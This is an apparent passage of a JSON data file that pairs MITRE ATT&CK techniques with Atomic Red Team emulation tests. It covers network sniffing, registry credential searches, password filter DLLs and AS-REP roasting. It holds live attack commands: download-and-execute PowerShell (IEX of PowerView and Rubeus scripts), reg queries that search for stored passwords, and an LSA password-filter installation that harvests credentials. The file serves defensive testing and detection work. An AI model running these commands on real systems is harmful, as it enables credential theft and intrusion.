- "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Access",
- "File: File Access",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1040": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oleg Kolesnikov, Securonix",
- "Tiago Faria, 3CORESec"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
- "created": "2017-05-31T21:30:41.399Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1040",
- "url": "https://attack.mitre.org/techniques/T1040"
- },
- {
- "source_name": "AWS Traffic Mirroring",
- "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html",
- "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022."
- },
- {
- "source_name": "GCP Packet Mirroring",
- "url": "https://cloud.google.com/vpc/docs/packet-mirroring",
- "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022."
- },
- {
- "source_name": "SpecterOps AWS Traffic Mirroring",
- "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512",
- "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022."
- },
- {
- "source_name": "Azure Virtual Network TAP",
- "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview",
- "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022."
- },
- {
- "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring",
- "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/",
- "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/158.html",
- "source_name": "capec",
- "external_id": "CAPEC-158"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)",
- "modified": "2022-05-20T17:32:27.146Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Network Sniffing",
- "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_system_requirements": [
- "Network interface access and packet capture driver"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1040"
- },
- "atomic_tests": [
- {
- "name": "Packet Capture Windows Command Prompt",
- "auto_generated_guid": "a5b2f6a0-24b4-493e-9590-c699f75723ca",
- "description": "Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark\ninstalled.\n\nUpon successful execution, tshark will execute and capture 5 packets on interface \"Ethernet\".\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "interface": {
- "description": "Specify interface to perform PCAP on.",
- "type": "string",
- "default": "Ethernet"
- },
- "wireshark_url": {
- "description": "wireshark installer download URL",
- "type": "url",
- "default": "https://1.eu.dl.wireshark.org/win64/Wireshark-win64-latest.exe"
- },
- "tshark_path": {
- "description": "path to tshark.exe",
- "type": "path",
- "default": "c:\\program files\\wireshark\\tshark.exe"
- },
- "npcap_url": {
- "description": "npcap installed download URL",
- "type": "url",
- "default": "https://nmap.org/npcap/dist/npcap-1.31.exe"
- },
- "npcap_path": {
- "description": "path to npcap.sys",
- "type": "path",
- "default": "C:\\Program Files\\Npcap\\npcap.sys"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "tshark must be installed and in the default path of \"c:\\Program Files\\Wireshark\\Tshark.exe\".\n",
- "prereq_command": "if (test-path \"#{tshark_path}\") {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:temp\\wireshark_installer.exe #{wireshark_url}\nStart-Process $env:temp\\wireshark_installer.exe /S\n"
- },
- {
- "description": "npcap must be installed.\n",
- "prereq_command": "if (test-path \"#{npcap_path}\") {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:temp\\npcap_installer.exe #{npcap_url}\nStart-Process $env:temp\\npcap_installer.exe\n"
- }
- ],
- "executor": {
- "command": "\"c:\\Program Files\\Wireshark\\tshark.exe\" -i #{interface} -c 5\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows Internal Packet Capture",
- "auto_generated_guid": "b5656f67-d67f-4de8-8e62-b5581630f528",
- "description": "Uses the built-in Windows packet capture\nAfter execution you should find a file named trace.etl and trace.cab in the temp directory",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netsh trace start capture=yes tracefile=%temp%\\trace.etl maxsize=10",
- "cleanup_command": "netsh trace stop >nul 2>&1\nTIMEOUT /T 5 >nul 2>&1\ndel %temp%\\trace.etl >nul 2>&1\ndel %temp%\\trace.cab >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows Internal pktmon capture",
- "auto_generated_guid": "c67ba807-f48b-446e-b955-e4928cd1bf91",
- "description": "Will start a packet capture and store log file as t1040.etl.\nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "pktmon.exe start --etw -f %TEMP%\\t1040.etl\nTIMEOUT /T 5 >nul 2>&1\npktmon.exe stop\n",
- "cleanup_command": "del %TEMP%\\t1040.etl",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows Internal pktmon set filter",
- "auto_generated_guid": "855fb8b4-b8ab-4785-ae77-09f5df7bff55",
- "description": "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "pktmon.exe filter add -p 445\n",
- "cleanup_command": "pktmon filter remove",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1552.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Sudhanshu Chauhan, @Sudhanshu_C"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580",
- "type": "attack-pattern",
- "created": "2020-02-04T12:58:40.678Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552.002",
- "url": "https://attack.mitre.org/techniques/T1552/002"
- },
- {
- "url": "https://pentestlab.blog/2017/04/19/stored-credentials/",
- "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
- "source_name": "Pentestlab Stored Credentials"
- }
- ],
- "modified": "2020-02-07T20:49:18.834Z",
- "name": "Unsecured Credentials: Credentials in Registry",
- "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s
\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s
",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Access"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_system_requirements": [
- "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."
- ],
- "identifier": "T1552.002"
- },
- "atomic_tests": [
- {
- "name": "Enumeration for Credentials in Registry",
- "auto_generated_guid": "b6ec082c-7384-46b3-a111-9a9b8b14e5e7",
- "description": "Queries to enumerate for credentials in the Registry. Upon execution, any registry key containing the word \"password\" will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Enumeration for PuTTY Credentials in Registry",
- "auto_generated_guid": "af197fd7-e868-448e-9bd5-05d1bcd9d9e5",
- "description": "Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry\nentries are found, they will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg query HKCU\\Software\\SimonTatham\\PuTTY\\Sessions /t REG_SZ /s\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1556.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
- "type": "attack-pattern",
- "created": "2020-02-11T19:05:45.829Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.002",
- "url": "https://attack.mitre.org/techniques/T1556/002"
- },
- {
- "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
- "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
- "source_name": "Carnal Ownage Password Filters Sept 2013"
- },
- {
- "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
- "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
- "source_name": "Clymb3r Function Hook Passwords Sept 2013"
- }
- ],
- "modified": "2021-04-20T20:11:55.147Z",
- "name": "Modify Authentication Process: Password Filter DLL",
- "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages
) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1556.002"
- },
- "atomic_tests": [
- {
- "name": "Install and Register Password Filter DLL",
- "auto_generated_guid": "a7961770-beb5-4134-9674-83d7e1fa865c",
- "description": "Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_path": {
- "description": "Path to DLL to be installed and registered",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1556.002\\bin"
- },
- "dll_name": {
- "description": "Name of the Password Filter",
- "type": "string",
- "default": "AtomicRedTeamPWFilter.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n",
- "prereq_command": "if (Test-Path #{dll_path}\\#{dll_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"#{dll_path}\\#{dll_name}\"\n"
- }
- ],
- "executor": {
- "command": "reg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\n$passwordFilterName = (Copy-Item \"#{dll_path}\\#{dll_name}\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n",
- "cleanup_command": "reg.exe import PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\nremove-item C:\\Windows\\System32\\#{dll_name}\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1558.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Yossi Nisani, Cymptom",
- "James Dunn, @jamdunnDFW, EY",
- "Swapnil Kumbhar",
- "Jacques Pluviose, @Jacqueswildy_IT",
- "Dan Nutting, @KerberToast"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b",
- "type": "attack-pattern",
- "created": "2020-08-24T13:43:00.028Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1558.004",
- "url": "https://attack.mitre.org/techniques/T1558/004"
- },
- {
- "source_name": "Harmj0y Roasting AS-REPs Jan 2017",
- "url": "http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/",
- "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020."
- },
- {
- "source_name": "Microsoft Kerberos Preauth 2014",
- "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx",
- "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020."
- },
- {
- "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019",
- "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/",
- "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020."
- },
- {
- "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
- "source_name": "SANS Attacking Kerberos Nov 2014",
- "url": "https://redsiege.com/kerberoast-slides"
- },
- {
- "url": "https://adsecurity.org/?p=2293",
- "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
- "source_name": "AdSecurity Cracking Kerberos Dec 2015"
- },
- {
- "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
- "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
- "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
- },
- {
- "source_name": "Microsoft 4768 TGT 2017",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768",
- "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020."
- }
- ],
- "modified": "2021-06-07T19:23:33.039Z",
- "name": "Steal or Forge Kerberos Tickets: AS-REP Roasting",
- "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Credential Request"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Valid domain account"
- ],
- "identifier": "T1558.004"
- },
- "atomic_tests": [
- {
- "name": "Rubeus asreproast",
- "auto_generated_guid": "615bd568-2859-41b5-9aed-61f6a88e48dd",
- "description": "Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast\nThis build targets .NET 4.5. If targeting a different version you will need to compile Rubeus\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "local_folder": {
- "description": "Local path of Rubeus executable",
- "type": "path",
- "default": "$Env:temp"
- },
- "local_executable": {
- "description": "name of the rubeus executable",
- "type": "string",
- "default": "rubeus.exe"
- },
- "out_file": {
- "description": "file where command results are stored",
- "type": "string",
- "default": "rubeus_output.txt"
- },
- "rubeus_url": {
- "description": "URL of Rubeus executable",
- "type": "url",
- "default": "https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- },
- {
- "description": "Rubeus must exist\n",
- "prereq_command": "if(Test-Path -Path #{local_folder}\\#{local_executable}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\\#{local_executable}\n"
- }
- ],
- "executor": {
- "command": "cmd.exe /c \"#{local_folder}\\#{local_executable}\" asreproast /outfile:\"#{local_folder}\\#{out_file}\"\n",
- "cleanup_command": "Remove-Item #{local_folder}\\#{out_file} -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Get-DomainUser with PowerView",
- "auto_generated_guid": "d6139549-7b72-4e48-9ea1-324fc9bdf88a",
- "description": "Utilizing PowerView, run Get-DomainUser to identify domain users. Upon execution, progress and info about users within the domain being scanned will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose\n",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - PowerSharpPack - Kerberoasting Using Rubeus",
- "auto_generated_guid": "8c385f88-4d47-4c9a-814d-93d9deec8c71",
- "description": "PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"asreproast /format:hashcat /nowrap\"",
- "name": "powershell"
- }
- }
- ]
- },
- "T1558": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tim (Wadhwa-)Brown",
- "Cody Thomas, SpecterOps"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a",
- "type": "attack-pattern",
- "created": "2020-02-11T19:12:46.830Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1558",
- "url": "https://attack.mitre.org/techniques/T1558"
- },
- {
- "external_id": "CAPEC-652",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/652.html"
- },
- {
- "source_name": "ADSecurity Kerberos Ring Decoder",
- "url": "https://adsecurity.org/?p=227",
- "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020."
- },
- {
- "source_name": "Microsoft Klist",
- "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist",
- "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021."
- },
- {
- "source_name": "MIT ccache",
- "url": "https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html",
- "description": "Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021."
- },
- {
- "source_name": "Linux Kerberos Tickets",
- "url": "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html",
- "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021."
- },
- {
- "source_name": "Brining MimiKatz to Unix",
- "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf",
- "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021."
- },
- {
- "source_name": "Kekeo",
- "url": "https://github.com/gentilkiwi/kekeo",
- "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021."
- },
- {
- "source_name": "SpectorOps Bifrost Kerberos macOS 2019",
- "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f",
- "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021."
- },
- {
- "source_name": "macOS kerberos framework MIT",
- "url": "http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html",
- "description": "Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021."
- },
- {
- "url": "https://adsecurity.org/?p=1515",
- "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
- "source_name": "ADSecurity Detecting Forged Tickets"
- },
- {
- "source_name": "Stealthbits Detect PtT 2019",
- "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks",
- "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."
- },
- {
- "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
- "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
- "source_name": "CERT-EU Golden Ticket Protection"
- },
- {
